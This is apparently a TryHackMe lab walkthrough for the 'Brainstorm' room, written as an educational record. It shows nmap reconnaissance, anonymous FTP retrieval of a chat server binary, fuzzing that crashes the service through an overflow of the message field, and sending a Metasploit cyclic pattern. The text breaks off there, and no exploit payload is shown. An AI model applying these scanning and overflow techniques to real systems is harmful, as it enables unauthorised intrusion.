Brainstorm - tryhackme walkthrough

Brainstorm - tryhackme walkthrough

nmap scan

┌──(root??kali)-[~]
└─# nmap -T4 -p- -A -Pn 10.10.53.141
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( [<https://nmap.org>](<https://nmap.org/>) ) at 2023-02-06 11:06 EST
Stats: 0:02:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.52% done; ETC: 11:13 (0:03:59 remaining)
Stats: 0:04:38 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 65.24% done; ETC: 11:13 (0:02:28 remaining)
Stats: 0:08:42 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 11:15 (0:01:00 remaining)
Stats: 0:09:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 11:16 (0:00:00 remaining)
Nmap scan report for 10.10.46.59
Host is up (0.39s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE            VERSION
**21/tcp   open  ftp                Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)**
|*Can't get directory listing: TIMEOUT*
| ftp-syst:
**|  SYST: Windows_NT
**3389/tcp open  ssl/ms-wbt-server?**
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2023-02-05T16:05:53
|_Not valid after:  2023-08-07T16:05:53
|*ssl-date: 2023-02-06T16:16:24+00:00; +1s from scanner time.
**9999/tcp open  abyss?***
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL:|     Welcome to Brainstorm chat (beta)
|    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [<https://nmap.org/cgi-bin/submit.cgi?new-service>](<https://nmap.org/cgi-bin/submit.cgi?new-service>) :
SF-Port9999-TCP:V=7.91%I=7%D=2/6%Time=63E12709%P=x86_64-pc-linux-gnu%r(NUL
SF:L,52,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\
SF:x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20")%r(GetRequest,
SF:63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\x2
SF:0your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x20mess
SF:age:\\x20")%r(HTTPOptions,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(b
SF:eta\\)\\nPlease\\x20enter\\x20your\\x20username\\x20\\(max\\x2020\\x20characters
SF:\\):\\x20Write\\x20a\\x20message:\\x20")%r(FourOhFourRequest,63,"Welcome\\x20
SF:to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\x20your\\x20userna
SF:me\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x20message:\\x20")%r(Ja
SF:vaRMI,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20en
SF:ter\\x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x
SF:20message:\\x20")%r(GenericLines,63,"Welcome\\x20to\\x20Brainstorm\\x20chat
SF:\\x20\\(beta\\)\\nPlease\\x20enter\\x20your\\x20username\\x20\\(max\\x2020\\x20cha
SF:racters\\):\\x20Write\\x20a\\x20message:\\x20")%r(RTSPRequest,63,"Welcome\\x2
SF:0to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\x20your\\x20usern
SF:ame\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x20message:\\x20")%r(R
SF:PCCheck,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20
SF:enter\\x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a
SF:\\x20message:\\x20")%r(DNSVersionBindReqTCP,63,"Welcome\\x20to\\x20Brainsto
SF:rm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\x20your\\x20username\\x20\\(max\\x2
SF:020\\x20characters\\):\\x20Write\\x20a\\x20message:\\x20")%r(DNSStatusRequest
SF:TCP,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20ente
SF:r\\x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x20
SF:message:\\x20")%r(Help,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta
SF:\\)\\nPlease\\x20enter\\x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):
SF:\\x20Write\\x20a\\x20message:\\x20")%r(SSLSessionReq,63,"Welcome\\x20to\\x20B
SF:rainstorm\\x20chat\\x20\\(beta\\)\\nPlease\\x20enter\\x20your\\x20username\\x20\\
SF:(max\\x2020\\x20characters\\):\\x20Write\\x20a\\x20message:\\x20")%r(TerminalS
SF:erverCookie,63,"Welcome\\x20to\\x20Brainstorm\\x20chat\\x20\\(beta\\)\\nPlease
SF:\\x20enter\\x20your\\x20username\\x20\\(max\\x2020\\x20characters\\):\\x20Write\\
SF:x20a\\x20message:\\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   262.72 ms 10.2.0.1
2   ... 3
4   390.45 ms 10.10.46.59
OS and Service detection performed. Please report any incorrect results at [<https://nmap.org/submit/>](<https://nmap.org/submit/>) .
Nmap done: 1 IP address (1 host up) scanned in 619.30 seconds        

?? Open Ports:

21/tcp open ftp Microsoft ftpd

3389/tcp open ssl/ms-wbt-server?

9999/tcp open abyss?

?? ftp:

Anonymous login is allowed.

Anonymous Login

┌──(root??kali)-[~]
└─# ftp 10.10.53.141
Connected to 10.10.46.59.
220 Microsoft FTP Service
Name (10.10.46.59:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
08-29-19  07:36PM       <DIR>          chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
08-29-19  09:26PM                43747 chatserver.exe
08-29-19  09:27PM                30761 essfunc.dll
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget **.**
mget chatserver.exe? y
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
43747 bytes received in 1.98 secs (21.5736 kB/s)
mget essfunc.dll? y
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
30761 bytes received in 1.58 secs (19.0279 kB/s)
ftp> bye
221 Goodbye.        

How does the exe work:

No alt text provided for this image

chatserver.exe is listening on port 9999 for connections.

The exe and the .dll are copied to another Windows 7 machine where Immunity Debugger is installed.


┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# nc -nv 192.168.57.11 9999
(UNKNOWN) [192.168.57.11] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): ffff
Write a message: ffffffffffffff
Tue Feb 07 13:09:09 2023
ffff said: ffffffffffffff
Write a message:        

Two inputs could be provided to the chatserver.exe.

  • username
  • message

Fuzzing:

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# nc -nv 192.168.57.11 9999
(UNKNOWN) [192.168.57.11] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters):                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         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Write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA        

Even though the Username says a maximum of 20 characters, with large input to the username a crash was not observed. However a crash was observed when a large input is provided to the message.

No alt text provided for this image
Program crashing

Generating pattern using metasploit scripts:

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# msf-pattern_create -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# nc -nv 192.168.57.11 9999
(UNKNOWN) [192.168.57.11] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

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Tue Feb 07 13:29:35 2023
Aa0Aa1Aa2Aa3Aa4Aa5Aa said: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5C